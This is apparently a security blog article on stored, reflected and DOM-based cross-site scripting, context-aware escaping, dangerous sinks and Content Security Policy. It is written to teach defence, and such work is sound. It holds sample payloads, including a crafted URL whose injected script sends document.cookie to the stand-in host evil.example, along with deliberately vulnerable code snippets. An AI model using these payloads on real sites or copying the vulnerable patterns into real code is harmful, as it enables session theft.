The Runtime Theory
Security

XSS and Why Escaping Is Not Enough: Stored, Reflected, and DOM Attacks

How stored, reflected, and DOM-based XSS actually execute, why context-aware escaping is mandatory, and how Content Security Policy contains the blast radius.

The Runtime Theory Team3 min read#xss#escaping#csp#dom-based-xss#javascript-security
On this page

Cross-site scripting is a JavaScript execution bug: attacker-controlled bytes end up parsed as code in a victim's browser, under the victim's origin. Escaping looks like the obvious fix, but escaping is context-dependent and most "escaped" output still executes. This article covers the three XSS flavors, why escaping fails in practice, and what actually contains the damage.

The Three Flavors

Reflected XSS: the payload travels in the request and immediately renders in the response. The canonical case is a search page:

html
<input value="<%= params[:q] %>">

An attacker crafts a URL like:

plaintext
https://shop.example/search?q="><script>fetch('//evil.example/s?'+document.cookie)</script>

The reflected value closes the attribute, closes the tag, and injects a <script>. Execution is one navigation away — the attacker just needs the victim to click the link.

Stored XSS: the payload is persisted server-side and served to every future visitor. A comment field storing <img src=x onerror="stealSession()"> infects every user who loads the comment thread, including admins. Stored XSS is the dangerous one because no lure is needed — the site itself delivers the payload.

DOM-based XSS: the payload never reaches the server. It executes purely client-side when JavaScript reads attacker-controlled sources (location.hash, postMessage, document.referrer) and writes them to a sink:

js
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello " + name;

location.search is attacker-controllable via link crafting, and innerHTML parses HTML. No server-side escaping can fix this — the vulnerable code never touched a server.

Why Escaping Is Not Enough

Escaping is a context-aware transform, and the browser has many contexts: HTML body, HTML attribute, URL, CSS, JavaScript string, event handler. A value correctly escaped for one context is still live in another:

html
<!-- Escaped for HTML body: -->
&lt;script&gt;  → renders as text, safe
 
<!-- But the same value in an attribute without context-aware escaping: -->
<a href="javascript:alert(1)">link</a>

Even solid escaping libraries fail when the framework interpolates into the wrong context — a JS string literal that is not additionally backslash-escaped breaks out:

js
var user = '<%= escapeHTML(username) %>';
// attacker: '</script><script>alert(1)</script>

Note the </script>: the HTML parser terminates a script block on </script> before JavaScript parsing begins, so any escaping that only understands JavaScript still dies at the HTML layer. Multiple escapes compound: an HTML-escaped value inside a JavaScript context inside an HTML context needs up to three layered, ordered escapes.

The Sinks That Matter

Mitigation starts by knowing every sink where attacker data can become executable:

  • innerHTML, outerHTML, insertAdjacentHTML, document.write — parse HTML
  • eval(), Function(), setTimeout("string"), setInterval("string") — parse code
  • element.href =, location =, window.openjavascript: URLs execute
  • postMessage receivers and JSON.parse of untrusted data feeding the above

The rule: never place untrusted data in any of them. For HTML injection points use textContent instead of innerHTML, or DOM APIs that construct nodes without parsing strings.

Escaping Done Right: Auto-Escaping Frameworks

Modern frameworks auto-escape by default — React escapes rendered text, Vue and Angular contextually escape, and template engines like Jinja2 with autoescape on escape HTML. The remaining bugs are:

  1. dangerouslySetInnerHTML / v-html / | safe / autoescape off — explicit bypasses.
  2. Client-side template concatenation that skips the framework's render path entirely.
  3. Legacy string-built markup in server-side components that never adopted the framework.

Audit every innerHTML and every safe filter; each one is a manual reimplementation of escaping, and manual escaping is where XSS survives.

CSP: Containing the Blast Radius

Content Security Policy cannot prevent injection, but it stops the injected script from being trusted. A strict policy has no script-src whitelist of unknown origins:

http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

Inline scripts — the injection target — are blocked outright under script-src 'self' unless a nonce or hash admits them. DOM XSS payloads that build img.onerror or inline handlers are similarly blocked. CSP is the difference between "XSS executed" and "XSS thrown away by the browser."

Verdict

Escaping is necessary but it is not sufficient: it must be automatic, context-aware, and layered — HTML, attribute, URL, and JS contexts handled separately, framework defaults left on, and every manual bypass audited. DOM XSS shows the deeper truth: some injection is impossible to escape server-side because the server never saw the data. The defense stack is auto-escaping everywhere, a sink audit, and a strict CSP so that when one layer fails, the injected payload cannot execute.